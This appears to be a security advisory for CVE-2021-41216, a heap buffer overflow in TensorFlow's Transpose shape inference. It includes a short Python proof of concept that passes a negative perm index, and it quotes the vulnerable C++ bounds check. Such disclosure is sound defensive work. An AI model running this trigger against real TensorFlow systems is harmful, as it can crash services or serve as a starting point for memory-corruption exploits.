CVE-2021-41216: Heap buffer overflow in `Transpose`

(updated )

The shape inference function for Transpose is vulnerable to a heap buffer overflow:

import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.Transpose(x=[1,2,3,4],perm=[-10])
return y

test()

This occurs whenever perm contains negative elements. The shape inference function does not validate that the indices in perm are all valid:

for (int32_t i = 0; i < rank; ++i) {
int64_t in_idx = data[i];
if (in_idx >= rank) {
return errors::InvalidArgument("perm dim ", in_idx,
" is out of range of input rank ", rank);
}
dims[i] = c->Dim(input, in_idx);
}

where Dim(tensor, index) accepts either a positive index less than the rank of the tensor or the special value -1 for unknown dimensions.

References

Detect and mitigate CVE-2021-41216 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →